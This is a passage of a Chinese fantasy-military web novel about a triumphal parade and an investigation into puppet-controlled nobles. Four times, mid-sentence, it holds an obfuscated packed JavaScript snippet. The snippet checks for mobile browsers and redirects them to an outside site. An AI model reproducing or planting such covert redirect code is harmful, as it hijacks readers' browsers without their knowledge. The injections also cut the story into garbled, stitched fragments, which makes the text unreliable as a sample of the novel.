后来和谢停舟聊天时的姬泠早就忘了那天晚上自己有没有惆怅出个章程,反正那之后她还是镇北军的军师、宋安澜的跟班。有时候纠结太耗心力,她便会选择性地忽视,仿佛这样让她内耗的事情便不再存在似的。 但谢停舟如今一提,旧日的事又涌上了心头。她像只被人踩了尾巴的猫似的豁然站起,沉着脸说:“不要说了!” 谢停舟还想再说:“可是……” “我都说了不要说了!”姬泠低头看着他,眼尾红了一-大片,那是谢停舟第一次见到她盛怒的样子。姬泠一字一顿道:“谢辞,你觉得说这话显得自己特别清醒是不是,特别聪明是不是?” 谢停舟意识到自己触了姬泠的逆鳞,徒劳地试图解释:“阿泠,你听我说,我不是那个意思……” 可话说到这里他也词穷了。平心而论,他刚刚那些质问姬泠的话绝对不坦荡,其中固然有一部分是因为为了姬泠抱不平,但更多的还是因为他吃宋安澜的飞醋已久。 但这话是绝对不好说出来的。先不提他抱着那一点小小的骄矜,不愿意承认自己在吃醋;就算说了,吃姬泠同-性好友的醋又算什么呢?不伦不类的,对谁都算不上尊重。 他一下子泄了气,从小接受的诗书礼易的教育告诉他,作为君子,这样实在是太有失体面了。他一面深深愧怍于自己的知行不一,一边悄悄地瞥了一眼姬泠,却发现她似乎也没了脾气似的,有点茫然地站在原地。 两人就这样一站一坐,沉默地对峙着。良久,姬泠说道:“夜深了,早睡。”就头也不回地匆匆走了。 一场谁都没有察觉到的冷战就这样悄悄开始了。 冷战的具体表现是,那几天两个人都不怎么见面,哪怕因为军务的原因必须要碰头,也尽量简短地结束。没有被别人察觉的原因是,这基本就是两个人平时相处的模式。谢停舟总被姬昀一封传音符捞去帮忙改军阵,而姬泠则是神龙见首不见尾惯了,只要往青州的分舵院子里一藏,没有正当理由谁都见不着她。 当然,这场冷战也没有坚持多久。繁忙的军务下,姬泠似乎很快就遗忘了他们之间那点不愉快,在某次篝火夜会之后和他正常地交流了起来。谢停舟虽然对他们的和好感到一头雾水,但对于姬泠主动递的台阶自然是连滚带爬地下。 不过事后谢停舟自己揣测,也猜出了一点姬泠的心事。 但其实从他的视角看,姬泠在百姓中其实远远不像她想象的那样藉藉无名。甚至他与姬泠重逢的开端,便是始于那次盛大的凯旋游行。 那是宋酿失踪后的第二年。镇北军获得了堪称奇迹般的胜利,一位新的将星在这场战役中冉冉升起,她有着堪称王朝女子最为尊贵的身份,在这次战役中做出了无数决定胜负的决定,包括但不限于早期的调兵遣将,中期埋伏奇袭的神来一笔,还有后来邓飞英重伤之后稳健的收尾。 这场骤失主帅、奇袭突至,本来胜算渺茫的战役就这样被宋安澜奇计频出、又稳扎稳打的一套组合拳逆转为了一场大胜。从去年的这时候算起,北周失了夫人又折兵,监军的皇子死在南盛不说,在战场上也没能讨到半分好处,一代名将邓飞英重伤,一条腿落了瘸症,之后不久就告老辞官了;最为精锐的前锋飞英军也在邓飞英的接-班副将盲目的指挥下折损了大半。相比之下,南盛这边宋酿的失踪,几乎已经算得上是微乎其微了。 毕竟江山代代人才出,她的接-班人、自己的亲妹妹宋安澜已经证明了这一点。 史官们用最浓重的笔墨、最赞美的口吻来称颂这位新的战神。雪窝在的那片山脚下的雪原被命名为安澜原,那场战役被命名为青安战役,北安军也正式更名为定北军——这也是宋安澜晋封侯爵的封号。 终于,三月初六,宋安澜终于平定了军中一干事务,经过漫长的行军,班师回朝。 那天早上,临安城的百姓们都上了街,拿着花篮,在道两侧挤挤挨挨地,等着他们新的守护神经过面前。 值得一提的一桩雅事是,那年春天来得早,临安城及郊外早就是一片花海。即便如此,为了迎接大军归来,临安城里的妇孺也早了好几日出动,将附近的花树采摘一空,甚至有人为了一树开得很漂亮的玉兰大打出手,可见百姓狂热。 金吾卫全军出动,却也还是难以控制住狂热的人潮。明明是初春的天气,人群里却不时有人中暑晕倒。孩童的哭喊声,男人的叫骂声,朱雀街上乱得像菜市口,但没有人回家,所有人仰着头、张着嘴,朝着北城门的方向,等着看行军队伍出现在城门的那一瞬间。 不知等了多久,脚下的大地隐隐传来了震颤。懂行的老人家说,这是大军已经近了。一时之间所有人都不说话了,连最聒噪的说书先生都住了嘴,刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15346931|165650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚还人声鼎沸的大街瞬间静了下来,手拉手充作人墙的金吾卫也伸长了脖子。 而在朱雀街边的酒楼上,最好的位置早已被权贵订下。谢停舟那时刚刚被姬泠劝下山,还没想好要不要随姬昀去镇西军,但也算是沾了光分了个位置。 他比楼下的百姓视野好,自然已经看见了蜿蜒的队伍,也一眼看见了队伍中,那个之前劝自己下山的,曾经也算是青梅竹马一起长大的姑娘。 为了通过朱雀街,长长的行伍五人一行,每个人都披着象征着得胜的猩红袍子,连胯-下战马都带着大红的锦花。队伍最前的自然是作为主帅的宋安澜,而姬泠和王逸作为她的左膀右臂,分列其后。 百姓们在看见军队的一瞬间就发出了如潮的欢呼声,落雨般的花瓣向将士们撒去。百姓们不认识什么万户侯还是平头小兵,也不知道军功有无,无差别地、平等地将那潮水般的花瓣播洒向每一个为了他们的安危抛头颅洒热血过的英雄。 不过,越靠近宋安澜的人在百姓心目中还是有更加被偏爱的地位的。有好些姑娘盯着位置靠前的壮硕男子,净把花和手帕往他们怀里扔;宋安澜更不必说,怀里的花和手帕几乎要抱不下,还有个胆大的姑娘想往她马鞍边上的囊袋里塞金钗,把她吓得赶紧催马向前,拼着队伍整齐不要也没敢收这般贵重的心意。 但谢停舟对别的人都不怎么感兴趣。他的目光一直紧紧跟在姬泠身上,注视着她的一举一动。 或许因为顾岁寒是文职,所以她骑着一匹雪白的高头大马,在整个镇北军中显得十分鹤立鸡群。看得出来她似乎也对这种突出有些许不适应,但她还是强作镇定地坐在马上,脸上的僵硬的表情却出卖了她,让她显得十分正襟危坐。 不过很快,热情的百姓就将她淹没了。她有些不知所措地收集着扔到她怀里的花,不知为何,那些花大多是玉兰之类香气浓烈的,她闻着花香,没忍住打了个大大的喷嚏。 随后姬泠轻轻夹击催马,追上了前面被一群小姑娘包围的宋安澜喊了句什么。距离太远谢停舟没听清,但他看见话音刚落,两个人都哈哈大笑起来,没忍住也跟着露出了一个笑容。 随后,这场得胜的游行被推到了最高-潮。 宋安澜忽得一抖缰绳,早已通心意的战马一声长鸣,加快了脚步。姬泠和其他几个部将紧随其后,这几人竟是在这汇聚天下繁华的朱雀街纵马奔驰了起来! 以往班师回朝时没有这般盛况,但这并不耽误百姓们跟着兴奋地欢呼。花雨不要钱似的撒了下来,宋安澜朗声长笑,酒楼上的歌舞班见状也开始奏乐起舞,唢呐声一飞冲天,连丝弦声都被压下,葡萄酒、椒柏酒洒落一地,舞姬血红色的罗裙被沾湿,酒香随着旋转充盈所有人鼻间。 姬泠扯下了肩上披的红袍,抓在手上,高声喊:“大盛长安,陛下永昌!” 言罢,她手一松,像放飞了一个愿望一般,让那袍子随着风飞向高空,随后长啸一声,夹腹催马,朝着她的主帅追去。 那袍角掠过谢停舟伸出的手,飞往无穷的天边。谢停舟没有注意到,而是愣怔怔地看着姬泠远去的背影,先贤的诗句就这样出现在他心头。 五陵年少金市东,银鞍白马度春风。 而他的少年,就这样追着春风远去,将那清瘦却坚定的背影深深刻印在了他心头。 25. 思越人 一 现在细细数来,距那春风一面已是过去了五年有余。 在那条街上一同策马的人,死生掺半,各自离散。丹陛上的人已经换了一位,恐怕宋安澜也不会再在这条象征这权力与繁华的长街上策马了。 谢停舟没忍住往临安的方向看了一眼,但重重树林遮住了他的目光,都城远在二三十里开外,已经不是目力能所及的了。 不知道现在的朱雀街上,又是怎样的一副景象呢? 他失望地收回目光。顾岁寒却还惦念着之前和他的对话,开玩笑似的逗他:“怎么,将军该不会是在为我抱不平吧?那可别,我本来就是宋将军手下的人,为她效力不是应该的?要是为了那点私情就想求些额外的恩典的话,那才是乱了套了吧。” 谢停舟重重地出了口气,没再说什么,只是点了点头。后面的博明出声提醒:“将军,执棋,前面往山上走,别走错了。” 躬行殿是往山下的方向。谢停舟诧异道:“将军不在躬行殿吗?” 博明摇头:“不在。此事重大,所以将军要单独出来说,躬行殿里人多口杂,各方势力都有,将军不放心。” 躬行殿本身位置就高,再往上走就到了山顶。走近了顾岁寒才发现姬昀坐在山顶的亭子里,身上偏绿的衣服跟周围环境融为一体,手里拿着一根烟枪,正在吞云吐雾。 顾岁寒讨厌旱烟的味道,手微微发痒,有一种想把那根烟枪拿走的冲动。她刚把自己这个失礼的欲-望克制下来,谢停舟就直接一步上前把烟枪拿了下来:“不是说为了宋将军不用了吗,怎么又开始了?” 姬昀早就听见他们来,被拿走了烟枪也没动弹,只是把拿烟枪的手在身上蹭了蹭,眉头深深锁出几道深纹:“停舟,我有一事在发愁,但又不知道如何确认。你能帮我吗?” 他的目光移向后面跟来的顾岁寒,微微坐直了身体:“执棋也在,那这件事就更好办了。” 谢停舟说:“你说,我能帮的自然帮。” 姬昀烦躁地揉了揉眉心:“我怀疑,阿漓不是阿漓。” 顾岁寒反应了一下才想起来姬昀说的是哪号人物,谢停舟显然经常听他唠叨,反应更快:“长乐公主?为什么这么说?” 姬昀道:“你也知道的,阿漓从小性子就软,也不像我和阿泠那样喜欢舞枪弄棒,总是待在屋里读书。但我感觉,阿泠死后,她性子就变了。” 谢停舟提醒他:“长乐公主和阿泠关系近,至亲骤然死亡,原因还可能与自己有关,她性情变化也在情理之中。” 姬昀摇头:“不不不,我不是说这个,我是说,我感觉她性格变得‘木’了。细说的话就是,她以前虽然性格柔软,但是其实私下里和我跟阿泠在一起时都是很活泼的,为人妇后也不像别的夫人那样循规蹈矩,但是阿泠死后,她好像忽然变成了个很……‘模范’的贵妇人。” 他深吸了一口气:“我本来也和你们一样,以为这只是阿漓骤失至亲,心里难过,故而性情变化。但刚刚韩玉青迟迟不来,我受安澜之托,去他们夫妇下榻的院子找她。远远的,我看见她在赏花,便走过去想要喊她。但一阵风吹了过来,我忽然闻到她身上有一种……一种……” 他说到这里似乎再也说不下去了,目光发直,整个人微微打了一个寒噤,似乎对自己记忆中的景象还是充满了恐惧:“她身上有一种尸体腐臭的气味,还有一种异香,问起来就像是……像是……寺院里的玉兰花,很香,但还掺着很重的香灰味,不好闻。” 顾岁寒听他提起香灰味,瞬间就想起了昨天的鲁纳。但是她看场中其他两人都在沉思,就没有开口打扰,而是继续听姬昀说。 “我当时还以为自己鼻子出问题了,”姬昀说到这里还是觉得自己有些难以置信,“我走到门外面,远远地看着她。风一吹,她半披着的头发被风吹开了,我看见她脖子后面,有一圈深一些的痕迹,真的很像是木偶线。” 话音刚落,顾岁寒就看见谢停舟的脸色彻底变了。她小心地在后面出声提问:“木偶线?民间艺人把-玩的木偶身上的那种连接线吗?那意味着什么?” “她或许已经被人控制了。”谢停舟沉着脸色,“木偶身上之所以会有木偶线,是因为在那里牵线便于控制木偶人的活动。人控制人也是一个道理,之前我和将军在西南的时候,就截获了一支打算从滇国用秘术运尸入盛境的民间的运尸队,这些尸体上就有很典型的木偶线。” “可是,可是,”姬昀几乎是眼巴巴地看着其他两人,语无伦次到挥着手臂,似乎迫切地想找到一个可以否定他可怕猜测的证据,“阿漓她还活着啊,怎么可能呢?我昨天亲眼看见她和韩玉青说说笑笑,还吃了东西,死人是不能吃东西的啊!” “……我也不知道。”谢停舟懊恼地坐在一旁,“滇国的秘术和道修魔修的体系都太不一样了,每种妖修都有属于他们自己的修炼体系,很多术法我也不知道其中奥妙。” 亭子中一时间安静了下来。事情至此陷入了一个无解的谜团,诸人束手无策。亭子中一时陷入了沉默。 “两位将军,”顾岁寒思考片刻,贸然开口打破了平静,“我有一些看法,说起来可能有些可笑,那就是——为什么不直接些,去问问当事人呢?” 谢停舟没听懂她的意思,有些茫然,姬昀却是隐隐约约理解了:“继续说。” “我在翌日前见过长乐公主,她确实如同姬将军说的那般,雍容大气,颇有大国风度,十分端庄。倘若她当真被人控制了心神行动,这个人究竟是谁,我们目前暂时没有头绪,想要调查的话恐怕花的时间也很长,因为正如二位所言,我们对滇国的秘术并不熟悉。” 她看着在场两个人的眼睛,摊开双手:“既然我们从术法的层面暂时追踪不到施术人,那么为什么不用用心理战的手法呢?长乐公主在朝中的地位不可谓不重要,一方面她是忠烈女,和不少武将都沾亲带故,另一方面她又是文臣首脑的妻子,在江南学派中的地位也不低。” “那么假如真有人将长乐公主做成了傀儡, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15351702|165650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她对傀儡师而言应该是很重要的。如果他通过长乐公主的耳朵知道了长乐公主的身份已经被怀疑,他会不会因为心急而露出破绽呢?” 姬昀沉吟:“可是万一咱们贸然试探,打草惊蛇,会不会对阿漓不利?” 顾岁寒摊开手:“长乐公主这样重要的人物,只要幕后的傀儡师不想和整个大盛的人作对,就不会贸然做对公主更为不利的事吧。而且说实在的,二位将军,你们心里不是应该有了大概怀疑的人选了吗?” 姬漓是韩玉青的妻子,与他几乎是朝夕相处,婚姻中也频频替他说话;昨天的鲁纳是韩玉青老师的挚友,与韩玉青的关系恐怕也很好。 而陈筑,虽然是归雁台派来的探子,却也曾是江南学派的重要成员。所有人和韩玉青都有千丝万缕的关联,他看似与所有事都无关,却与所有事件中的人都有着联系。 三个人面面相觑,都感觉这猜测有些荒谬。谢停舟轻声道:“为什么是他?他是个手无缚鸡之力的文臣,平生也与滇国应当没什么关联,他怎么学到的那些术法呢?” “他去过,”顾岁寒解释道,“他被点为状元之后,有一段时间很不得意,在剑南道待过两年。阁里的卷宗有记载。” 谢停舟表情还是有些茫然。姬昀却是想起来了:“哦,好像是因为得罪了什么人被贬去当了几年县令……但是剑南道离滇国还是有些距离的吧。” 顾岁寒对西南地形不了解,谨慎地没有开口。谢停舟不知为何也没出声,心思好像飘去了别的地方。姬昀自暴自弃道:“算了,试探试探就知道了,不想那么多了。” 三个人就这样定下了计划,准备等宋礼醒了,借着这个机会把姬漓夫妇两人直接叫来,到时直接发难,自见分晓,便顺着那道羊肠小道下山往躬行殿走。 谁知刚走到半路,一个打扮与博明相似的人就匆匆跑来叫住了他们。顾岁寒觉得此人面熟,好像在宋安澜身边见过,下一瞬这人就气喘吁吁地开口:“姬将军,我家将军派我来同您说,韩玉青不见了!” “什么!”姬昀没忍住惊呼出口,回头和另外两人对视,都在彼此眼中看到了震惊。姬昀问那人道:“那别人呢?阿漓还在吗?” “还在,但人昏过去了。”那传信的兵士道,“除此之外,其他院里还有报上来的莫名昏迷的人,连北周使团里都有几个。” 顾岁寒捡着最要紧的问:“那鲁纳呢?就是蓝仆射身边的那个管家,他怎么样?” 兵士惊异道:“咦?姑娘怎么知道她就在昏迷的人的名单里?” 六目相对。一个猜测在三人之间逐渐酝酿成型。 他们刚刚怀疑过韩玉青的身份,他就莫名消失,而他们怀疑是傀儡的人都昏迷了。 消息是怎么走漏的?为什么他们刚一怀疑,还没有实质性的证据,韩玉青就落荒而逃,堪称把罪名直接钉死了? 除此之外,顾岁寒还有另外一个可怕的推测—— 昨夜莫名昏迷的皇帝,真的跟这件事毫无关联吗? 26. 思越人 二 宋安澜单独找了个空屋子,着人多搬了几张床,把昏迷的人都聚了过来。 三个人商议一番之后,顾岁寒和姬昀决定先过来看看,让谢停舟去跟还在躬行殿忙活的宋安澜说明情况。 说是分头行动,但那处空屋离躬行殿也不远,似乎本来是豢养上林苑奇兽的宫人住的地方。 现下已是下午晚些时候,天阴了下来,沉沉地压-在山头。顾岁寒看这天色,猜测晚些时候可能要下雨。一下雨地就泥泞,这秋猎恐怕真要“半道崩殂”了。 本来礼部定了秋猎后陛下向上苍祈福来年百兽繁衍,不愁鸡豚的,但看现在宋礼那样子,恐怕是不能完成原本的计划了。顾岁寒看着天色胡思乱想,心不在焉地跟着姬昀的步子进了屋。 宋安澜派了自己的一个家将看守此处,不过榻上的人一个睡得比一个深,看起来似乎也没什么看守的必要。姬昀蹲下来查看一个昏迷的玄衣卫,顾岁寒没着急着细查,而是环视了一圈屋内,发现少了人,低声问宋安澜的家将:“兄弟怎么称呼?长乐公主不在此处吗?” 顾岁寒在定北侯府叨扰多日,府上的家将们自然对她的声音都很熟悉,只是现在这张脸不怎么常见。那家将惊异地看了她两眼,才道:“末将罗松,长乐公主自然还在自己院中。公主身份尊贵,我等也不敢擅动,现下由着她身边的人照料。” 听到这话,本来蹲在地上的姬昀微微一顿,回头看向顾岁寒,目光里带了点恳求。顾岁寒会意:“将军是叫我去看看公主?” 姬昀心事重重地叹了口气,点点头。顾岁寒犹疑了一下,道:“好,将军稍等。” 说罢她没有出门,反而是往里走了几步,找到了自己的目标。大半日前刚见过的鲁纳就静静地躺在那里,脸色青白。不知是不是顾岁寒的错觉,她老觉得鲁纳的脸色比之前更难看了。 但神奇的是,这人现在是有呼吸心跳的,只不过比正常人缓慢了不少。要不是顾岁寒对自己的记忆还是有信心的,她简直要怀疑自己之前在沈和正屋里见到的那人是自己的幻觉。 她有些心虚地回头看了看屋里剩下的两个人,见他俩都没注意这边,飞快地从袖子里掏出一片蝉翼大小的刀刃,三下五除二把鲁纳的衣服袖子都割了下来。听到声音姬昀诧异地看了她一眼,顾岁寒欲盖弥彰地解释道:“哈哈哈,那个,我看他袖口这里有些异样,就想看看他身上有没有别的线索。” 姬昀知道她在胡说八道,但也没有拆穿,“哦”了一声之后若无其事地收回了目光,换了个昏迷的人研究。这人似乎是谁家的公子哥,虽然迫于宋安澜的淫威把人送了过来,但还是不放心地派了个家仆在旁边看守。这家仆身形壮实,目露精-光,一看就是个练家子。见姬昀接近,整个人都戒备地紧绷了起来:“将,将军这,这是做什么?” 架势倒是拉足了,只可惜一开口就露了怯。姬昀装作没发现,而是微笑道:“我能问问你家公子姓甚名谁?” 这家仆见他态度和善亲厚,微微放松了下来:“哦,我家公子名叫谈春,是谈尚书的二公子。” 这谈尚书说的是户部尚书谈和运,和韩玉青是同乡。姬昀心里有了数,进而问道:“我是前来主持今日这事的,眼下没什么头绪,只是随便问问,看看能不能有什么线索。你知不知道今日这事是怎么回事?能不能把来龙去脉都大致讲与我听?” 他本意是看这家仆比较憨厚,试着套些话出来,看看此事是不是真与韩玉青有关。虽说现在种种线索其实都明里暗里指向了韩玉青,但他不知为何还是有些隐隐的不安,想再度印证一番。 谁知这家仆却忽然警惕了起来:“没,没什么啊!少爷就是忽然昏倒了,我们都不知道是怎么回事!” 姬昀不死心,耐心引导道:“那你家少爷昏倒之前有没有什么异样?跟什么人接触过?” 这家仆死命摇头,愣是一个字都不肯说了。这态度反而反向映证了姬昀的某些猜测,他脸色微微一沉。 难道真的是韩玉青吗?他如果真做了这种事,目的是什么?他把触-手伸得如此之长,恐怕也耗费了不少心力,又为何要在刚刚露出马脚的时候就落荒而逃呢? 他百思不得其解,却听得顾岁寒那边轻声唤他:“将军。” 他循声望去,看见顾岁寒站在鲁纳身边,似乎发现了什么,打眼色让他近些看。姬昀走了过去,那家仆也好奇地跟着看了过来,顾岁寒却微微移动身子挡住了他探究的目光。 姬昀刚一走进,就注意到了鲁纳手腕脚腕以及关节处之前被衣服挡住的纹路,他低声道:“木偶线?” “对,”顾岁寒点头,指了指旁边榻上的人。姬昀望了过去,才发现不知什么时候,顾岁寒也把旁边人的袖子裤腿一并拆了,但那人身上却没有类似的纹路。姬昀皱眉:“没有?为什么,难道说他不是傀儡?” “不,”顾岁寒也压低了声音,“也有,但是比较浅,要仔细看。我怀疑这个人是因为被-操纵的时间还不长,所以肉-体还勉强算得上是个‘人’,表现才不明显。” 而那些被拘走魂魄,操控肉身久了的,就已经算不得“人”了,身上线牵的纹路自然也会越来越深。 像是……慢慢异化成了一个木傀儡。 姬昀整个人的神色看起来都不太对了,眼睛里都有了红血丝:“那……阿漓呢?我可是清晰地看到了她脖子上的线的,她怎么办?” 他最后一句话破了音,眼睛里也湿润了,倒影出了对面姑娘冷静的神色。他本来是个十分沉稳的角色,现下看起来也是有些关心则乱了。现下这边还要靠他压阵脚,顾岁寒只好帮他定心:“我的猜测也不一定对,万一是反过来的呢?或许被控制得越久的人,反而更能融入人群,身上的痕迹也更不明显。将军,你也别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15356503|165650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自乱心神,我这就去公主处看看,嗯?” 姬昀魂不守舍地点点头。顾岁寒从旁边多拽了两床被子过来,给被她割了衣服的两个人盖好,拍了拍姬昀的肩膀,这才离开。这行伍意味浓郁的动作似乎也让姬昀回了回神,他朝着顾岁寒点点头,苦笑道:“放心吧梅臣,我没事,你帮我看好阿漓才是要紧。” 顾岁寒见状也不再多言,干脆利落地朝外走去。跨出门槛前,她回头看了一眼还伫立在鲁纳床边的姬昀,莫名从那逆光的身影中看出了一丝萧索。 说来姬昀也是苦命,自小失了父母不说,眼下两个妹妹也一个死,一个生死未卜。由于修士们对妖修术法的不了解,没有人能下断言这些被制成了傀儡的人还能不能变回原来的样子,姬昀的心也像走钢丝绳似的,摇摇欲坠地挂在半空中。 顾岁寒摇了摇头,感慨万千地走出了这临时的安置所。说起来姬昀此人也是奇怪,在顾岁寒眼里,他其实比谢停舟更符合“儒将”这个词的定义。他不像他的妻子那样有着火辣的脾气,性格温和,似乎常常在帮宋安澜圆话题;或许是因为姬泠这层亲缘的原因,他虽说是谢停舟的主将,两人相处时却更像好兄弟,没有明显的上下之分。 最重要的事,其实在和谢停舟相处的这几天里,宋安澜明显感觉到,谢停舟的性格并非像外界传颂的那样君子端方,特别是在设计姬泠的事情上,他总是乐于露出自己的爪牙,处事也不像平时装出来的那样圆滑。顾岁寒更愿意相信那层君子皮更多的是他入世的一张皮,而皮下的本性很可能不像他表现出来的那样人畜无害。 但姬昀不同,他的性格很明显更加中庸。比如在姬泠一事上,顾岁寒醒来之后曾听过多方对于姬泠自戕一事的评价,但作为她最亲的兄长,姬昀往往在这些事上神奇的隐身了。他像是一个透明人,藏在了自己妻子的阴影里不发一言,却也有种仿佛跟自己的妹妹从来不认识似的冷漠。 但之前听别人的描述,这对兄妹的感情似乎算得上是非常好。他们同胞双生,一同长大,后来即使因道不同而分隔两地,也尽量会在回京时小聚。正因如此,姬昀的态度才越发显得奇怪——他似乎太不在乎了。 姬泠的未婚夫对她的死耿耿于怀,姬泠的战友兼闺蜜屡次三番拜托顾岁寒帮忙查案,姬泠在阁里的朋友提起她也会垂泪……但姬昀却从未对姬泠的事有过很明显的表态。 直到如今,对姬漓的事的这一点失态,才让顾岁寒看出了些端倪。 他似乎并不是不在乎他的家人。顾岁寒沿着台阶往山上走,但刚刚姬昀的神色却还在她脑海中挥之不去。 他是太在乎了。他的在乎如同深海里的漩涡,不敢轻易露出。在平静的海面的伪饰下,谁都不知道里面有多少风险。 而他最后一个血脉相连的家人生死未卜,那平静的海面才被撕开了一道裂口,露出了底下狰狞的本质。 27. 思越人 三 姬漓夫妇的院子离躬行殿也很近,顾岁寒步行上山才用了半柱香不到,而且院子旁边就有一条山溪经过,环境幽美,可见韩玉青在礼部还是很吃得开的。 院门死死闭锁着,外面有宋安澜的人看护。这些人见到顾岁寒的新面孔惯常地展现出了警惕,顾岁寒翻了翻身上,把落棋阁的印掏出来后才被放行。 院子里静悄悄的,没有人走动说话。但从院子中的布置来看,昨晚这里似乎还非常热闹,几处高树间还挂着彩绸,空气中隐隐浮动着一股酒香。有个侍女听见了开关门的声音,从屋里出来看。顾岁寒眼尖看出此人正是上回自己去韩府时来迎接自己的那个宫女,忙在她又躲回去之前高声叫住了她:“姑娘!” 那宫女听她声音耳熟,犹犹豫豫地停住了脚步:“您是……” 顾岁寒今天为了扮侍女穿了复杂的长裙子,为了留住那人脚步,连忙提起裙摆跑了过去:“我是那天来府上拜访的顾梅臣,姑娘可还记得?” 那宫女犹犹豫豫道:“您声音听着似乎耳熟,可……这样貌?” 顾岁寒不想摘假面露出底下有伤的面貌吓人,而且她那天其实也戴了另一张假面,想来想去只好故技重施,把落棋阁的印掏出来在那宫女眼前晃了一下:“此事说来话长,眼下我是受长喜公主之托,前来照料你们家殿下的,可否和我细细说说这府上发生的事?” 先帝名下连亲生的带收养的一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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顾岁寒没忍住轻轻倒吸了一口凉气,却还是没忘了此行的正事,暗道一声“得罪了”便伸手垫到了公主身下,将她身子轻轻掀开一点,拉开衣领处的寝衣往里看,却并没有木偶纹路。 这倒有些出乎意料了。顾岁寒暗暗想会不会是姬昀远远看自己妹妹看错了,一面把手撤回来,将公主稳稳放回原处。 就在这时,那小宫女也把香方写好了,拿来给她过目。顾岁寒对香道了解甚浅,匆匆扫了两眼也没看出什么端倪,只好先叠起来收进衣襟里。正叠着,她余光里看见床上光影变动,偏头看去,竟是姬漓悠悠地睁开了眼。 姬漓见到她,惊异地睁大了眼,嘴唇微微蠕动。小宫女颇有眼力见,端上还温热的茶水来给她润喉。姬漓就着小宫女的手倾身喝了两口,盈盈美目望向顾岁寒,嘴上却是在问小宫女:“丹桂,这位大人是?” 不知为何,姬漓醒后,丹桂便没有最开始面对顾岁寒时那股活泼劲了,她轻声细语道:“殿下,这是落棋阁的顾大人,说是奉宋将军的命令来看望您的。” “顾……大人?”姬漓的眼神中明显出现了一丝迷茫,“阁下是……顾岁寒顾大人吗?” 不知为何,顾岁寒感到了一丝隐隐的古怪,但那丝古怪稍纵即逝,她还没来得及捕捉,便没有了头绪。她只好先定下心来,学着那宫女轻声道:“是。在下为了行走上林苑方便,换了一张面具,和上回见公主时或有不同。公主见谅。” 姬漓看起来也颇为惊讶:“这……本宫之前也见过姐姐的易容,只不过都比较粗浅,本宫一眼便能识得,执棋的易容水准实在高超,本宫刚刚一眼望去,竟没能识得真容,实在惭愧。” 顾岁寒没想到会受到这样的夸赞,只好客套道:“姬师妹是黑棋,只需学习刺杀潜行之类的武艺即可,在下是白棋,学易容伪饰之类自然要比黑棋更精。公主能认出师妹的易容已经是眼力卓绝了,若在下的易容也能被公主一眼看穿,在下简直要羞得钻进地里,向师父自杀谢罪了。” 姬漓连忙摆手:“执棋过谦了。执棋说奉安澜姐姐的命令来看顾本宫,不过本宫身体已然无恙,或许不时便能亲自去和安澜姐姐请罪了,还请执棋依言回禀安澜姐姐,叫她不要担忧。” 这便是请她离开的意思了,顾岁寒本来还想细问她一些关于韩玉青的事,见状只好把话又咽了回去,拱手行礼道:“那在下便先向将军回禀了,公主保重身体。” 姬漓微微一笑,使了个眼色让小宫女丹桂送她。两人一前一后出了门,丹桂落后一步将门带上了。走出去十几步,丹桂才小声道:“殿下心里毕竟还是有韩尚书的,大人也不要气馁,我们做奴婢的也会尽量劝导殿下的。” 顾岁寒笑道:“好啊,只怕你们殿下不撞南墙不回头,还对韩玉青死心塌地,不愿意接受你们的劝谏呢。” 丹桂摇头晃脑:“那我自然也不会学那些士大夫死谏啦。公主要是发了脾气,我就冲她撒娇示好嘛,公主心软,是不会责怪我们的。” “好。”顾岁寒走出院外,回头又看了一眼这个还残留着昨日的繁华和热闹的院落,心中的怪异感还是挥之不去。但她最终还是没能找到自己这种无来由的直觉的源头,只好摇了摇头,冲丹桂挥了挥手:“我走了。你也保重啊!” 这句话本是她在心中不安的驱使下下意识说出的话,但小丹桂看起来快要幸福得晕过去了。顾岁寒不由失笑,又挥了挥手,转身走上了来时那条小道。 又一声闷雷响起,空中飘起了雨滴。顾岁寒没有代步工具,担心一会雨下大了自己会被淋湿,只好加快了步伐。饶是如此,回到姬昀所处的那处小院时,她外衣还是几乎湿透了。 出乎她意料的是,宋安澜和谢停舟也都在此处,宋安澜和姬昀站在屋子角落的一处小榻前,头抵着头不知在商量什么,谢停舟远远看着,不知为何眼中颇有些羡慕的意思。顾岁寒从他身后接近,低声喊了他一声,他才如梦方醒似的回过头。 顾岁寒用下巴轻轻点了点宋安澜那边,问他:“将军怎么也来了?躬行殿那边的事都妥了吗?” 